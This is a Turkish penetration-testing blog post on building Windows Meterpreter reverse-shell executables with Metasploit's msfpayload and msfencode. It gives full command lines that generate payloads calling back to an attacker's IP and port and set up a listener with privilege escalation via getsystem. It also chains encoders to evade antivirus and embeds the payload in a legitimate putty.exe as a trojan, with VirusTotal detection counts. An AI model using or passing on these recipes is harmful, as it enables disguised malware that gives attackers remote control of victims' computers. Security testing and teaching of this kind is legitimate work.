MsfPayload ve MsfEncode Modülleri Kullanarak Zararlı Yazılım Oluşturma

Sızma testleri sırasında antivirüslerin atlatılarak hedef sistemin ele geçirilmesi kritik bir aşamadır. Bu yazıda, Metasploit tarafından sağlanan msfpayload ve msfencode modülleri kullanılarak antivirüslere yakalanmayan zararlı uygulamalar oluşturulacaktır.

MsfPayload ve MsfEncode modülleri kullanılarak oluşturulacak zararlı uygulamalar çeşitli yöntemlerle hazırlanacaktır. Her yöntem için oluşturulan uygulamanın tespit edilme durumu VirusTotal ile kontrol edilmiştir.

VirusTotal sonuçlarından da görüleceği gibi, msfpayload ve msfencode modülleri ile oluşturulan zararlı yazılımlar bir çok anti-virüs tarafından tespit edilebilmektedir. Üstelik, Metasploit Framework‘te, msfpayload ve msfencode modüllerine destek çekilmiştir. Bu modüller yerine, MsfVenom ile zararlı yazılım oluşturulması tavsiye edilmektedir.

 

1) MsfPayload ile Zararlı Exe Dosyası Oluşturma

MsfPayload kullanılarak oluşturulabilecek Payload‘lar aşağıdaki gibi listelenir.

msfpayload -l

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-01

Sadece msfpayload kullanılarak zararlı bir yazılım oluşturmak için X parametresi kullanılabilir. Oluşturulan dosyanın Sha256 özeti de saklanabilir.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 X > Uygulama1.exe
sha256sum Uygulama1.exe

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-02

Bu payload ters bir bağlantı oluşturara 192.168.8.145 IP’li bilgisayarın 4567 portuna reverse_tcp bağlantısı oluşturmaktadır. Bu bağlantıyı dinlemek için bir handler açılmalıdır. Handler açılması için gerekli ayarlamaların gerçekleştirilmesi aşağıdaki gibidir:

msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set LHOST 192.168.8.145
msf exploit(handler) > set LPORT 4567
msf exploit(handler) > show options

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-03

Gerekli ayarlamalar yapıldıktan sonra Handler başlatılır.

msf exploit(handler) > exploit -j

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-04

Bir bilgisayarda bu uygulama (Uygulama1.exe) çalıştırıldığında Meterpreter bağlantısı oluşacaktır. Bağlantı oluştuktan sonra ilgili oturuma gidilerek meterpreter bağlantısına düşülür ve istenilen komutlar çalıştırılır.

sessions
sessions -i 1
meterpreter > getuid
meterpreter > getsystem
meterpreter > getuid

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-05

Ancak bu uygulama bir çok antivirüs tarafından yakalanmaktadır. Oluşturulan uygulamanın VirusTotal analiz sonucunda 50 AV’den 37 tanesi tarafından tespit edilmiştir.

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-06

 

2) Raw halindeki Payload’u Yeniden Kodlama

MsfPayload ile Raw halinde oluşturulan bir payload MsfEncode ile yeniden kodlanabilir. “x86/shikata_ga_nai” adlı kodlayıcı ile 3 kere kodlanan Raw halinde bir payload oluşturulması aşağıdaki gibidir.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -o Uygulama2.exe

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-07

Not: Kodlayıcıların kullanılması uygulama boyutunu arttırmaktadır.

MsfEncode tarafından kullanılabilecek kodlayıcıların listesi aşağıdaki gibidir:

msfencode -l

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-08

Not: Rank olarak yüksek olan kodlayıcıların kullanılması antivirüslerden saklanılması için bir yöntemdir.

Oluşturulan 2. uygulamanın VirusTotal analizi sonucunda 35 AV tarafından tespit edildiği görülmektedir.

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-09

 

3) Standart Uygulamaya Zararlı Kod Gömme

Hazırlanan uygulama kodunun antivirüsler tarafından tespit edilmesini engellemek için varsayılan şablonlar yerine farklı şablonlar tercih edilmelidir. MsfEncode ile alternatif şablon kullanmak için ‘-x‘ parametresi kullanılmaktadır. Bunun için normalde zararlı olmayan bir uygulamaya zararlı kod gömülebilir. Bu işlem aşağıdaki gibidir:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -x /root/putty.exe -o Uygulama3.exe

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-10

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 33 AV tarafından tespit edildiği görülmektedir.

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-11

 

4) Çoklu Kodlama Yönteminin Kullanılması

MsfPayload ile oluşturulan payload kodlanırken birden fazla kodlayıcı ardışık olarak da kullanılabilir.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -t raw -c 2| msfencode -e x86/countdown -x /root/putty.exe -t exe -o Uygulama4.exe

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-12

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 34 AV tarafından tespit edildiği görülmektedir.

evading-anti-virus-detection-using-msfpayload-and-msfencode-modules-13

Kullanılabilecek bir diğer uygulama aşağıdaki gibi oluşturulabilir:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 EXITFUNC=thread R | msfencode -e x86/shikata_ga_nai -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor -c 2 -t exe -o Uygulama5.exe

 

Sonuç

Msfpayload ve Msfencode modüllerinin tek başlarına kullanımı AV’lerden saklanmak için yeterli olmayabilmektedir. Üstelik kodlama işlemi de bazı durumlarda AV’lerin yakalanmasına sebep olabilmektedir. Bu sebeplerden dolayı başka çözümler üzerine yoğunlaşılması gerekmektedir.

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.